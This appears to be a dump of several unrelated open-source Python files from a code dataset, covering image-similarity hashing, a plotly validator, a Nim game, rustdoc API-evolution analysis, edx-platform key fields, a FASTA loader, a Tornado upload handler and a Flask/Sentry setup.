11:33\n# @Author : Wang Zixv\n# @Site : \n# @File : Calculate image similarity.py\n# @Software: PyCharm\n# 计算图片相似度算法\nimport os\nimport sys\nimport skimage\n\nimport cv2\nfrom sklearn.metrics.pairwise import cosine_similarity\nimport numpy as np\n\n\ndef pHash(img, leng=32, wid=32):\n img = cv2.resize(img, (leng, wid))\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n dct = cv2.dct(np.float32(gray))\n dct_roi = dct[0:8, 0:8]\n avreage = np.mean(dct_roi)\n phash_01 = (dct_roi > avreage) + 0\n phash_list = phash_01.reshape(1, -1)[0].tolist()\n hash = ''.join([str(x) for x in phash_list])\n return hash\n\n\ndef dHash(img, leng=9, wid=8):\n img = cv2.resize(img, (leng, wid))\n image = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n # 每行前一个像素大于后一个像素为1，相反为0，生成哈希\n hash = []\n for i in range(wid):\n for j in range(wid):\n if image[i, j] > image[i, j + 1]:\n hash.append(1)\n else:\n hash.append(0)\n return hash\n\n\ndef aHash(img, leng=8, wid=8):\n img = cv2.resize(img, (leng, wid))\n image = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n avreage = np.mean(image)\n hash = []\n for i in range(image.shape[0]):\n for j in range(image.shape[1]):\n if image[i, j] >= avreage:\n hash.append(1)\n else:\n hash.append(0)\n return hash\n\n\ndef Hamming_distance(hash1, hash2):\n num = 0\n for index in range(len(hash1)):\n if hash1[index] != hash2[index]:\n num += 1\n return num\n\n\ndef handle_img(img):\n img = cv2.resize(img, (100, 100))\n img = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n img[:, :, 2] = cv2.equalizeHist(img[:, :, 2])\n img = cv2.cvtColor(img, cv2.COLOR_HSV2BGR)\n return img\n\n\ndef get_img_list(_target_folder):\n img_list = []\n for root, dirs, files in os.walk(_target_folder):\n for file in files:\n img_list.append(os.path.join(root, file))\n return img_list\n\n\n# 直方图判断相似度\ndef get_similarity2(img_new, target_img_list, threshold_sim=0.5):\n for target_img_path in target_img_list:\n target_img = cv2.imread(target_img_path)\n if img_new.shape[0] == target_img.shape[0] and img_new.shape[1] == target_img.shape[1]:\n if img_new.shape[0] > 1000 or img_new.shape[1] > 1000:\n img1 = cv2.resize(img_new, (1000, 1000))\n img2 = cv2.resize(target_img, (1000, 1000))\n match2 = cv2.compareHist(img1, img2, cv2.HISTCMP_CORREL)\n # result_sim = cosine_similarity(img1, img2, dense_output=False)\n # result_sim_avg = np.mean(result_sim)\n print(match2)\n if match2 > threshold_sim:\n return True\n return False\n\n\n# 图像哈希值判断相似度\ndef get_similarity3(img_new, target_img_list, threshold_sim=0.98):\n match2 = threshold_sim * 3\n # print(len(target_img_list))\n for target_img_path in target_img_list:\n # print(target_img_path)\n target_img = cv2.imread(target_img_path)\n d_dist = Hamming_distance(dHash(img_new), dHash(target_img))\n\n p_dist = Hamming_distance(pHash(img_new), pHash(target_img))\n\n a_dist = Hamming_distance(aHash(img_new), aHash(target_img))\n d = (1 - d_dist * 1.0 / 64)\n p = (1 - p_dist * 1.0 / 64)\n a = (1 - a_dist * 1.0 / 64)\n mean = d+p+a\n # print(mean)\n if mean == match2:\n return True\n return False\n\n\ndef get_similarity(img_new, target_img_list, threshold_sim=0.95):\n \"\"\"\n 余弦\n \"\"\"\n img_new_gray = cv2.cvtColor(img_new, cv2.COLOR_BGR2GRAY)\n for target_img_path in target_img_list:\n target_img = cv2.imread(target_img_path)\n target_img_gray = cv2.cvtColor(target_img, cv2.COLOR_BGR2GRAY)\n # print(target_img_path)\n if img_new_gray.shape[0] == target_img_gray.shape[0] and img_new_gray.shape[1] == target_img_gray.shape[1]:\n # result_sim = compare_ssim(img_new, target_img, multichannel=True) # BUG\n if img_new_gray.shape[0] > 1000 or img_new_gray.shape[1] > 1000:\n img1 = cv2.resize(img_new_gray, (100, 100))\n img2 = cv2.resize(target_img_gray, (100, 100))\n # result_sim = cosine_similarity(img_new_gray, target_img_gray, dense_output=False)\n result_sim = cosine_similarity(img1, img2, dense_output=False)\n result_sim_avg = np.mean(result_sim)\n print(result_sim_avg)\n if result_sim_avg > threshold_sim:\n return True\n\n return False\n\n\ndef move_img(root_path, img_name, img):\n move_path = os.path.join(root_path, img_name)\n cv2.imwrite(move_path, img)\n\n\nif __name__ == '__main__':\n if len(sys.argv) < 2:\n # print(\"该算法\")\n print(\"参数过少，请按照格式进行输入：0.python程序名称 1.准备移动的文件夹 2.目标文件夹\")\n # todo break\n # move_folder = sys.argv[1]\n # target_folder = sys.argv[2]\n move_folder = \"E:\\\\progectlocation\\\\python_program\\\\wallpaper\\\\Wallhaven\"\n target_folder = \"E:\\\\DesktopBackGround2\"\n # move_folder = \"./test1\"\n # target_folder = \"./test2\"\n # 获取所有图片路径\n target_list = get_img_list(target_folder)\n move_list = get_img_list(move_folder)\n # 判断相似度\n i = 0\n\n for img_path in move_list:\n img_move = cv2.imread(img_path)\n result_bool = get_similarity3(img_move, target_list)\n if not result_bool:\n # 保存图片\n # img_name = str(img_path.split(\"\\\\\")[-1:])\n img_name = str(len(os.listdir(target_folder))) + \".jpg\"\n move_img(target_folder, img_name, img_move)\n print(\"移动了\" + str(i) + \" 张图片\")\n i += 1\n","repo_name":"PepperTree-wang/python_tools","sub_path":"Calculate image similarity/Calculate image similarity.py","file_name":"Calculate image similarity.py","file_ext":"py","file_size_in_byte":5883,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"8374516718","text":"import _plotly_utils.basevalidators\n\n\nclass DecreasingValidator(_plotly_utils.basevalidators.CompoundValidator):\n def __init__(\n self, plotly_name=\"decreasing\", parent_name=\"indicator.delta\", **kwargs\n ):\n super(DecreasingValidator, self).__init__(\n plotly_name=plotly_name,\n parent_name=parent_name,\n data_class_str=kwargs.pop(\"data_class_str\", \"Decreasing\"),\n data_docs=kwargs.pop(\n \"data_docs\",\n \"\"\"\n color\n Sets the color for increasing value.\n symbol\n Sets the symbol to display for increasing value\n\"\"\",\n ),\n **kwargs,\n )\n","repo_name":"plotly/plotly.py","sub_path":"packages/python/plotly/plotly/validators/indicator/delta/_decreasing.py","file_name":"_decreasing.py","file_ext":"py","file_size_in_byte":703,"program_lang":"python","lang":"en","doc_type":"code","stars":14438,"dataset":"github-code","pt":"3"} +{"seq_id":"21190214715","text":"def computador_escolhe_jogada (n, m):\n\tcomputadorJoga = 1\n\twhile computadorJoga != m: \n\t\tif ((n - computadorJoga) % (m + 1) == 0):\n\t\t\treturn computadorJoga\n\t\telse:\n\t\t\tcomputadorJoga += 1\n\treturn computadorJoga\n\ndef usuario_escolhe_jogada(n, m):\n\tjogadaValida = False\n\twhile not jogadaValida:\n\t\tjoga = int(input(\"Informe a jogada: \"))\n\t\tif joga > m or joga < 1:\n\t\t\tprint (\"Jogada inválida! Tente novamente\")\n\t\telse:\n\t\t\tjogadaValida = True \n\treturn joga\n\ndef partida():\n\tn = int(input(\"Quantas peças? \"))\n\tm = int(input(\"Número máximo de peças por jogada: \"))\n\tvezDoComputador = False\n\tif (n % (m + 1) == 0):\n\t\tprint (\"Você começa!\")\n\telse: \n\t\tprint (\"Computador começa\")\n\t\tvezDoComputador = True\n\twhile n > 0:\n\t\tif vezDoComputador:\n\t\t\tcomputadorJoga = computador_escolhe_jogada (n, m)\n\t\t\tn = n - computadorJoga\n\t\t\tif n == 0:\n\t\t\t\tprint (\"Fim de jogo! O computador ganhou!\")\n\t\t\telse:\n\t\t\t\tprint (\"O computador tirou\", computadorJoga, \"peça(s).\")\n\t\t\t\tprint(\"Restam\", n, \"peça(s).\")\n\t\t\tvezDoComputador = False\n\t\telse:\n\t\t\tif vezDoComputador == False:\n\t\t\t\tjogada = usuario_escolhe_jogada (n, m)\n\t\t\t\tn = n - jogada\n\t\t\t\tif n == 0:\n\t\t\t\t\tprint (\"Você venceu!\")\n\t\t\t\telse:\n\t\t\t\t\tprint(\"Você tirou\", jogada, \"peça(s).\")\n\t\t\t\t\tprint(\"Restam\", n, \"peça(s).\")\n\t\t\t\tvezDoComputador = True\n\ndef campeonato():\n\trodada = 1 \n\tpontos_usuario = 0\n\tpontos_computador = 0\n\twhile rodada <= 3: \n\t\tprint (\"**** Rodada\", rodada)\n\t\trodada += 1\n\t\tvencedor = partida()\n\t\tif vencedor == 1: \n\t\t\tpontos_usuario += 1\n\t\telse: \n\t\t\tpontos_computador += 1\n\tprint(\"Final do campeonato!\")\n\tprint(\"Placar: Usuário\", pontos_usuario, \"x\", pontos_computador, \"Computador\")\n\ninicio = print (\"Bem-vindo ao Jogo Nim! \")\nopcao1 =print (\"1 - Jogar partida\")\nopcao2 = print (\"2 - Jogar campeonato\")\n\nEscolha = int(input(\"Digite o número de uma das opções: \"))\n\nif Escolha == 1:\n\tprint(\"Você escolheu partida.\") \n\tpartida()\nelse:\n\tif Escolha == 2:\n\t\tprint(\"Você escolheu campeonato.\") \n\t\tcampeonato()","repo_name":"AgnesMinamihra/AgHM","sub_path":"jogo_nim.py","file_name":"jogo_nim.py","file_ext":"py","file_size_in_byte":1962,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"73142314322","text":"import json\nimport re\nimport os\nimport sys\nfrom glob import glob\n\n\n\ndef test_serial():\n # serialize Python object and write to JSON file\n # python_obj = {'name': 'John', 'age': 30}\n # with open('data.json', 'w') as file:\n # json.dump(python_obj, file)\n with open('test_serial.json', 'r') as file:\n python_obj = json.load(file)\n print(python_obj['api']) \n\n\ndef get_pure_string(string: str) -> str:\n '''\n Remove all special characters from a string.\n '''\n string = string.replace('⎘', u'')\n string = string.replace(u'\\xa0', u' ')\n string = string.replace(u'=', u' = ')\n string = string.replace(u'= =', u'==')\n string = re.sub(' +',' ',string)\n if string[-2:] == ', ':\n string = string[0:-2]\n return string\n\n\n\ndef empty_stability():\n return {\n 'ruf': '',\n 'status': '',\n 'since': '',\n 'full': '',\n }\n\ndef empty_api():\n return {\n 'submodule': '',\n 'head': '',\n 'impl': '',\n 'api': '',\n 'stability': list(),\n 'next_abi_index': -1, # Index of the same abi in next doc version in the same submodule. \n }\n\n\n# Transfer original raw string into well formatted one.\ndef analyze_stability(stability: list) -> list:\n stability_list = list()\n for item in stability:\n item = get_pure_string(item)\n # print(item)\n # Unstable\n for matched_unstable in re.findall('🔬 This is a nightly-only experimental API\\.\\s+\\(\\w+\\s#[0-9]+\\)', item):\n # print('Unstable 1')\n unstable_part = re.search('\\(\\w+\\s', matched_unstable)[0]\n ruf = unstable_part[1:-1]\n new_stability = empty_stability()\n new_stability['ruf'] = ruf\n new_stability['status'] = 'unstable'\n stability_list.append(new_stability)\n # Unstable 2\n for matched_unstable in re.findall('🔬 This is a nightly-only experimental API\\.\\s\\(\\w+\\)', item):\n # print('Unstable 2')\n unstable_part = re.search('\\(\\w+\\)', matched_unstable)[0]\n ruf = unstable_part.split(' ')[0][1:-1]\n new_stability = empty_stability()\n new_stability['ruf'] = ruf\n new_stability['status'] = 'unstable'\n stability_list.append(new_stability)\n # Unstable 3: Unstable (wait_timeout_with #27748): unsure if this API is broadly needed or what form it should take\\n\n for matched_unstable in re.findall('Unstable \\(\\w+ #[0-9]+\\)', item):\n # print('Unstable 3')\n unstable_part = re.search('\\(\\w+ #[0-9]+\\)', matched_unstable)[0]\n ruf = unstable_part.split(' ')[0][1:-1]\n new_stability = empty_stability()\n new_stability['ruf'] = ruf\n new_stability['status'] = 'unstable'\n new_stability['full'] = matched_unstable\n stability_list.append(new_stability)\n # Unstable 4: Unstable (libc): use libc from crates.io\\n\n for matched_unstable in re.findall('Unstable \\(\\w+\\)', item):\n # print('Unstable 4')\n unstable_part = re.search('\\(\\w+\\)', matched_unstable)[0]\n ruf = unstable_part.split(' ')[0][1:-1]\n new_stability = empty_stability()\n new_stability['ruf'] = ruf\n new_stability['status'] = 'unstable'\n new_stability['full'] = matched_unstable\n stability_list.append(new_stability)\n # Deprecated\n for matched_unstable in re.findall('Deprecated since 1.[0-9]+.[0-9]+: .+\\n', item):\n since = re.search('1.[0-9]+.[0-9]+', matched_unstable)[0]\n new_stability = empty_stability()\n new_stability['status'] = 'deprecated'\n new_stability['since'] = since\n new_stability['full'] = matched_unstable\n stability_list.append(new_stability)\n if len(stability_list) != len(stability):\n if len(stability) != 1 or 'This is supported on' not in stability[0] == '':\n print('Unhandled Stability', stability)\n for stability_item in stability_list:\n if stability_item['status'] == 'unstable' and stability_item['ruf'] == '':\n print('Unhandled Stability', stability)\n break\n # if len(stability_list) != 0:\n # print(stability_list)\n return stability_list\n\n\n# Returns (sumodule_path, api_list)\ndef recover_info(submodule) -> (str, list):\n \"\"\"\n Recover the information of a submodule from analysis results.\n Return a list containing minimal APIs.\n We do extra operations to eliminate the redundancy of the results.\n 1. Sometimes it includes `\\u24d8` which is followed by notable-trait info, useless in our study.\n 2. Stability includes portability, deprecate, unstable items. We only latter two.\n \"\"\"\n api_list = list()\n submodule_path = get_pure_string(submodule['path'])\n stability = submodule['stability']\n submodule_api = empty_api()\n submodule_api['submodule'] = submodule_path\n submodule_api['api'] = get_pure_string(submodule['api'])\n submodule_api['stability'] = analyze_stability(stability)\n # TODO: Now, we don't add submodule into the list.\n # api_list.append(submodule_api)\n for item in submodule['items']:\n head = item['head']\n for impl in item['impls']:\n impl_name = impl['impl']\n for function in impl['functions']:\n api = function['api']\n # if 'impl' in api:\n # print('Warning: impl in api', api)\n api = api.split('\\u24d8')[0]\n stability = function['stability']\n api_info = empty_api()\n api_info['submodule'] = submodule_path\n api_info['head'] = head\n api_info['impl'] = get_pure_string(impl_name)\n api_info['api'] = get_pure_string(api)\n api_info['stability'] = analyze_stability(stability)\n api_list.append(api_info)\n return (submodule_path, api_list)\n \n\n\ndef is_api_same(api1: dict, api2: dict) -> bool:\n return api1['impl'] == api2['impl'] and api1['api'] == api2['api']\n\n\n\ndef is_same_api(api1: dict, api2: dict) -> bool:\n '''\n Compare two APIs to see if they are the same, but different parameters are tolerated.\n '''\n if api1['impl'] != api2['impl']:\n return False\n if api1['api'] == api2['api']:\n return True\n function_name1 = re.search('fn \\w+[<|(]', api1['api'])\n function_name2 = re.search('fn \\w+[<|(]', api2['api'])\n if function_name1 and function_name2:\n if function_name1[0][3:-1] == function_name2[0][3:-1]:\n # print('API Changed', api1['submodule'])\n # print(api1)\n # print(api2)\n return True\n # if not function_name1 and api1['api'][0:6] == api2['api'][0:6]:\n # print('Similar', api1['submodule'])\n # print(api1['api'])\n # print(api2['api'])\n return False\n\n\ndef print_removed_api_info(api_list: list, new_api_list: list):\n '''\n Print removed API info.\n '''\n index_set = set()\n for api in api_list:\n next_abi_index = api['next_abi_index']\n if next_abi_index == -1:\n print('Removed API:', api)\n else:\n index_set.add(next_abi_index)\n for idx, api in enumerate(new_api_list):\n if idx not in index_set:\n print('New API:', api)\n\n\n\ndef print_new_module_info(doc:dict, doc_new:dict):\n '''\n Print new module info.\n '''\n for (submodule_path, api_list) in doc_new.items():\n if submodule_path not in doc:\n print('New Module:', submodule_path, len(api_list))\n print(*api_list, sep='\\n')\n print('------------------')\n\n\ndef count_truenew_api(doc:dict, doc_new:dict):\n '''\n Count the number of new API in doc_new, which are not in doc.\n We remove `Implementors` as they are passively implemented, determined by traits.\n Sometimes it cannot reflect true api changes.\n '''\n count = 0\n for (submodule_path, api_list) in doc.items():\n if submodule_path not in doc_new:\n continue\n index_set = set()\n new_api_list = doc_new[submodule_path]\n for api in api_list:\n next_abi_index = api['next_abi_index']\n index_set.add(next_abi_index)\n for idx, api in enumerate(new_api_list):\n if idx not in index_set and api['head'] not in ['Implementors', 'Blanket Implementations']:\n count += 1\n for (submodule_path, api_list) in doc_new.items():\n if submodule_path not in doc:\n count += len(api_list)\n return count\n\n\n\ndef construct_api_binding(docs:list, MIN_VERSION, MAX_VERSION):\n '''\n Connect the API evolution in different versions.\n '''\n remained_api_count = 0\n for i in range(MIN_VERSION, MAX_VERSION):\n index = i - MIN_VERSION\n api_count = 0\n same_count = 0\n modify_count = 0\n removed_count = 0\n trueremoved_count = 0\n truemodify_count = 0\n for (submodule_path, api_list) in docs[index].items():\n api_count += len(api_list)\n # Removed submodule\n if submodule_path not in docs[index+1]:\n # print('Removed Submodule:', submodule_path, len(api_list))\n removed_count += len(api_list)\n continue\n new_api_list = docs[index+1][submodule_path]\n for api in api_list:\n for idx, new_api in enumerate(new_api_list):\n if is_same_api(api, new_api):\n if api['next_abi_index'] != -1:\n # print('Error: next_abi_index already set', api['submodule'], api['api'])\n break\n api['next_abi_index'] = idx\n # analyze_api_evolution\n for api in api_list:\n if api['next_abi_index'] == -1:\n removed_count += 1\n if api['head'] not in ['Implementors', 'Blanket Implementations']:\n trueremoved_count += 1\n else:\n next_api = docs[index+1][submodule_path][api['next_abi_index']]\n if is_api_same(api, next_api):\n same_count += 1\n else:\n modify_count += 1\n if not ('pub fn ' not in api['api'] and 'pub fn ' in next_api['api']) \\\n and not ('pub fn ' in api['api'] and 'pub fn ' not in next_api['api']):\n # print('API Changed')\n # print('Old:', api)\n # print('New:', next_api)\n truemodify_count += 1\n print_removed_api_info(api_list, new_api_list)\n # print_new_module_info(docs[index], docs[index+1])\n if index > 0:\n new_api_count = api_count - remained_api_count\n truenew_api = count_truenew_api(docs[index-1], docs[index])\n else:\n new_api_count = -1\n truenew_api = -1\n remained_api_count = same_count + modify_count\n print('Version', '{:>2}'.format(i), 'API Count', api_count,\n 'Same', '{:>5}'.format(same_count),\n 'Modify', '{:>5}'.format(modify_count), \n 'Removed', '{:>5}'.format(removed_count), \n 'New', '{:>5}'.format(new_api_count), \n 'True Modify', '{:>5}'.format(truemodify_count), \n 'True Removed', '{:>5}'.format(trueremoved_count), \n 'True New', '{:>5}'.format(truenew_api))\n # # Print Changed API\n # print('Submodule:', submodule_path)\n # for api in api_list:\n # if api['next_abi_index'] == -1:\n # print(api)\n\n # # Print All API\n # print('Submodule:', submodule_path)\n # print('--------Old------')\n # print(*api_list, sep='\\n')\n # print('--------New------')\n # print(*new_api_list, sep='\\n')\n # print('------------------')\n\n\ndef analyze_api_evolution(docs:list, MIN_VERSION, MAX_VERSION):\n '''\n Analyze the API evolution in different ways, aspects. (API change, Stability change, etc)\n 1. Quick check same: Complete same.\n 2. Detailed check same: API unchanged. Other changes are acceptable.\n 3. Modified: API name same, but signature changed.\n 4. Removed: API removed.\n We then compare the API evolution with the stability evolution to see if they really match.\n Some API are duplicated, but with limited impact. \n Some are OK as ducumentation record is duplicated sometimes (rarely found).\n Some are caused by duplicated info extraction (rarely found).\n \n '''\n print('Start Analyzing API Evolution ...')\n construct_api_binding(docs, MIN_VERSION, MAX_VERSION)\n # for i in range(MIN_VERSION, MAX_VERSION):\n # index = i - MIN_VERSION\n # api_count = 0\n # same_count = 0\n # modify_count = 0\n # removed_count = 0\n # for (submodule_path, api_list) in docs[index].items():\n # api_count += len(api_list)\n # for api in api_list:\n # if api['next_abi_index'] == -1:\n # removed_count += 1\n # else:\n # next_api = docs[index+1][submodule_path][api['next_abi_index']]\n # if is_api_same(api, next_api):\n # same_count += 1\n # else:\n # modify_count += 1\n # print('Version', i, 'API Count', api_count, 'Same', same_count, 'Modify', modify_count, 'Removed', removed_count)\n\n\n\n\ndef analyze_all_docs(MIN_VERSION = 1, MAX_VERSION = 63):\n '''\n Parse all rustdocs to get items data in different compiler versions.\n These data are actually Abstract Resource Tree. Through analysing AST, we can know API evolution, especially unstable API.\n @Algorithm:\n 1. We first parse root doc and call `get_crates()` to get all standard library crates, which we will then parse them.\n 2. We call `parse_html()` to parse all html files, which contain AST of all data (e.g. modules, primitives, functions, structs).\n\n '''\n print('Start Analyzing Rust Docs ...')\n docs = list() # Each version of docs\n for i in range(MIN_VERSION, MAX_VERSION+1):\n version_num = '1.' + str(i) + '.0'\n print('Parsing Rust Docs', version_num)\n # Find root html: std/index.html\n current_directory = os.getcwd() + '/'\n doc_directory = current_directory + version_num + '/rust-docs-nightly-x86_64-unknown-linux-gnu/json_submodule'\n submodule_map = {} # Map submodule path to submodule\n for file_name in glob(doc_directory + '/**/*.html.json', recursive=True):\n with open(file_name, 'r') as file:\n submodule_original = json.load(file)\n (submodule_path, submodule_plain) = recover_info(submodule_original)\n submodule_map[submodule_path] = submodule_plain\n docs.append(submodule_map)\n analyze_api_evolution(docs, MIN_VERSION, MAX_VERSION)\n # for doc in docs:\n # for (submodule_path, api_list) in doc.items():\n # print('Submodule:', submodule_path)\n # print(*api_list, sep='\\n')\n # print('------------------')\n\n\n\n\n\n#TODO: Anylize the API evolution in different ways, aspects. (API change, Stability change, etc)\nif sys.argv[1] == 'complete':\n analyze_all_docs()\nif sys.argv[1] == 'complete_selected':\n analyze_all_docs(int(sys.argv[2]), int(sys.argv[3]))\n# with open('test_serial.json', 'r') as file:\n# submodule = json.load(file)\n# print(*recover_info(submodule)[1], sep='\\n')\n\n'''\nFindings:\n 1. 1.4.0 -> 1.5.0 `libc` crates changed a lot, refactoring many submodules, causing lots of removals and new submodules.\n 2. 1.16.0 -> 1.17.0 Some type in the trait has been changed, causing large-scale implementation changes.\n 3. 1.18.0 -> 1.19.0 Trait `Iterator` changed provided functions, all implementations are affected.\n 4. 1.24.0 -> 1.26.0 Arch-related API are introduced, like `core::arch` and `std::simd`.\n 5. 1.27.0 -> 1.28.0 Arch-related API are removed, like `core::arch` and `std::simd`.\n 6. 1.33.0 -> 1.35.0 18780 new APIs add `default` before `fn`. In 1.35.0, lots are removed and go back to normal.\n 6. 1.47.0 -> 1.48.0 `pub` is added into pub functions, though it is not needed, just for format.\n 6. 1.51.0 -> 1.52.0 `pub` is now removed, though it is not needed, just for format.\n 6. 1.56.0 -> 1.57.0 Abourt 3000 APIs in `core::simd::Simd` and another 3000 in `std::simd::Simd` are introduced. \n 6. 1.57.0 -> 1.58.0 Abourt 3000 APIs in `core::simd::Simd` and another 3000 in `std::simd::Simd` are removed. About 1200 APIs in `std::ops::xx` changed their types slightly.\n'''","repo_name":"SocialistDalao/rustdoc_parser","sub_path":"analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":16947,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"12615944553","text":"\"\"\"\nUseful django models for implementing XBlock infrastructure in django.\n\"\"\"\n\n\nimport logging\nimport warnings\n\nimport opaque_keys.edx.django.models\nfrom django.db import models\n\nfrom xmodule.modulestore.django import modulestore\n\nlog = logging.getLogger(__name__)\n\n\nclass NoneToEmptyManager(models.Manager):\n \"\"\"\n A :class:`django.db.models.Manager` that has a :class:`NoneToEmptyQuerySet`\n as its `QuerySet`, initialized with a set of specified `field_names`.\n \"\"\"\n def get_queryset(self):\n \"\"\"\n Returns the result of NoneToEmptyQuerySet instead of a regular QuerySet.\n \"\"\"\n return NoneToEmptyQuerySet(self.model, using=self._db)\n\n\nclass NoneToEmptyQuerySet(models.query.QuerySet):\n \"\"\"\n A :class:`django.db.query.QuerySet` that replaces `None` values passed to `filter` and `exclude`\n with the corresponding `Empty` value for all fields with an `Empty` attribute.\n\n This is to work around Django automatically converting `exact` queries for `None` into\n `isnull` queries before the field has a chance to convert them to queries for it's own\n empty value.\n \"\"\"\n def _filter_or_exclude(self, *args, **kwargs):\n for field_object in self.model._meta.get_fields():\n direct = not field_object.auto_created or field_object.concrete\n if direct and hasattr(field_object, 'Empty'):\n for suffix in ('', '_exact'):\n key = f'{field_object.name}{suffix}'\n if key in kwargs and kwargs[key] is None:\n kwargs[key] = field_object.Empty\n\n return super()._filter_or_exclude(*args, **kwargs)\n\n\nclass OpaqueKeyField(opaque_keys.edx.django.models.OpaqueKeyField):\n \"\"\"\n A django field for storing OpaqueKeys.\n\n The baseclass will return the value from the database as a string, rather than an instance\n of an OpaqueKey, leaving the application to determine which key subtype to parse the string\n as.\n\n Subclasses must specify a KEY_CLASS attribute, in which case the field will use :meth:`from_string`\n to parse the key string, and will return an instance of KEY_CLASS.\n \"\"\"\n def __init__(self, *args, **kwargs):\n warnings.warn(\"openedx.core.djangoapps.xmodule_django.models.OpaqueKeyField is deprecated. \"\n \"Please use opaque_keys.edx.django.models.OpaqueKeyField instead.\", stacklevel=2)\n super().__init__(*args, **kwargs)\n\n\nclass CourseKeyField(opaque_keys.edx.django.models.CourseKeyField):\n \"\"\"\n A django Field that stores a CourseKey object as a string.\n \"\"\"\n def __init__(self, *args, **kwargs):\n warnings.warn(\"openedx.core.djangoapps.xmodule_django.models.LocationKeyField is deprecated. \"\n \"Please use opaque_keys.edx.django.models.UsageKeyField instead.\", stacklevel=2)\n super().__init__(*args, **kwargs)\n\n\nclass UsageKeyField(opaque_keys.edx.django.models.UsageKeyField):\n \"\"\"\n A django Field that stores a UsageKey object as a string.\n \"\"\"\n def __init__(self, *args, **kwargs):\n warnings.warn(\"openedx.core.djangoapps.xmodule_django.models.UsageKeyField is deprecated. \"\n \"Please use opaque_keys.edx.django.models.UsageKeyField instead.\", stacklevel=2)\n super().__init__(*args, **kwargs)\n\n\nclass UsageKeyWithRunField(opaque_keys.edx.django.models.UsageKeyField):\n \"\"\"\n Subclass of UsageKeyField that automatically fills in\n missing `run` values, for old Mongo courses.\n \"\"\"\n def to_python(self, value):\n value = super().to_python(value)\n if value is not None and value.run is None:\n value = value.replace(course_key=modulestore().fill_in_run(value.course_key))\n return value\n\n\nclass BlockTypeKeyField(opaque_keys.edx.django.models.BlockTypeKeyField):\n \"\"\"\n A django Field that stores a BlockTypeKey object as a string.\n \"\"\"\n def __init__(self, *args, **kwargs):\n warnings.warn(\"openedx.core.djangoapps.xmodule_django.models.BlockTypeKeyField is deprecated. \"\n \"Please use opaque_keys.edx.django.models.BlockTypeKeyField instead.\", stacklevel=2)\n super().__init__(*args, **kwargs)\n","repo_name":"openedx/edx-platform","sub_path":"openedx/core/djangoapps/xmodule_django/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4203,"program_lang":"python","lang":"en","doc_type":"code","stars":6774,"dataset":"github-code","pt":"3"} +{"seq_id":"24244655844","text":"import re\n\ndef readgenefile(round_table):\n \"\"\" Get the gene list \"\"\"\n try:\n with open(round_table, 'r') as f:\n genes = [line.split('\\t')[0] for line in f]\n genes = [s for s in genes if not s.startswith('gene_ID')]\n genes.sort()\n except IOError:\n print(\"Gene list file not found. Try again.\")\n genes = []\n return genes\n\ndef load_fastadb(target_genome):\n \"\"\" Read multiple fasta files of a database and make dictionary {gene_id : sequence} \"\"\"\n # read original fasta files\n d = {}\n header = str()\n seq = str()\n\n with open(target_genome, 'r') as f:\n for line in f:\n line = line.rstrip('\\n')\n if line[0] == '>': # a new sequence\n d[header] = seq \n header = line.replace('>', '')\n seq = str()\n else:\n seq += line\n \n d[header] = seq # the last sequence\n del d[''] # delete first empty element due to appending only\n return d\n\ndef findseq(genes, d):\n \"\"\" Find target sequences \"\"\"\n target_seqs = []\n\n for gene in genes:\n pattern = re.compile(gene)\n pattern_hit = [d[k] for k in d if pattern.search(k)]\n if len(pattern_hit) == 1:\n target_seqs.append(pattern_hit[0])\n elif len(pattern_hit) > 1:\n print(f'multiple entries found with {gene} in the target genome. use the shortest sequence.')\n target_seqs.append(min(pattern_hit)[0])\n else:\n print(f'No hit found with this gene ID: {gene}')\n\n return target_seqs","repo_name":"takaW496/PDTFP","sub_path":"my_module/load_db.py","file_name":"load_db.py","file_ext":"py","file_size_in_byte":1612,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"3904589442","text":"# -*- coding: utf-8 -*-\n# @Time : 2018/6/11 上午10:51\n# @Author : waitWalker\n# @Email : waitwalker@163.com\n# @File : MTTFileUploadHandler.py\n# @Software: PyCharm\n\nfrom Handlers import MTTBaseHandler\nimport tornado.web\nimport os\n\n\nclass MTTFileUploadHandler(MTTBaseHandler.MTTBaseHandler):\n\n # get请求方法\n def get(self, *args, **kwargs):\n msg = \"上传文件只支持post请求\"\n data = \"\"\n kwargs_ = {\"msg\": msg, \"data\": data}\n self.success_response(**kwargs_)\n\n # post请求\n def post(self, *args, **kwargs):\n # 文件暂存路径\n upload_path = os.path.join(os.path.dirname(__file__), 'files')\n # print(\"file path:\", upload_path)\n\n # print(\"file list:\", self.request.files)\n\n # 提取表单中'name'为file的文件元数据\n file_metas = self.request.files.get('file2', None)\n\n # print(\"file:\", self.request.files)\n\n # print(\"body\", self.request.body)\n\n file_path = ''\n\n if not file_metas:\n msg = \"文件上传失败\"\n data = \"\"\n kwargs_ = {\"msg\": msg, \"data\": data}\n self.success_response(**kwargs_)\n for meta in file_metas:\n filename = meta['filename']\n\n # print(\"file name:\", filename)\n\n file_path = os.path.join(upload_path, filename)\n # print(\"file full path:\", file_path)\n\n with open(file_path, 'wb') as up:\n up.write(meta['body'])\n # print(\"file update success path:\", file_path)\n\n msg = \"文件上传成功!\"\n data = {\"file_path\": file_path}\n self.success_response(msg=msg, data=data)\n\n\n\n\n\n\n\n\n\n","repo_name":"waitwalker/PetAPI","sub_path":"Handlers/MTTFileUploadHandler.py","file_name":"MTTFileUploadHandler.py","file_ext":"py","file_size_in_byte":1688,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"3"} +{"seq_id":"33422997706","text":"import os\nfrom flask import Flask\nfrom werkzeug.middleware.proxy_fix import ProxyFix\nimport json\nfrom psycopg2 import connect\nimport sentry_sdk\nfrom sentry_sdk.integrations.flask import FlaskIntegration\n\nsentry_sdk.init(\n dsn=\"https://1ec8bc09682e478695b180119159a056@o4504179022692352.ingest.sentry.io/4504194406023168\",\n integrations=[\n FlaskIntegration(),\n ],\n\n # Set traces_sample_rate to 1.0 to capture 100%\n # of transactions 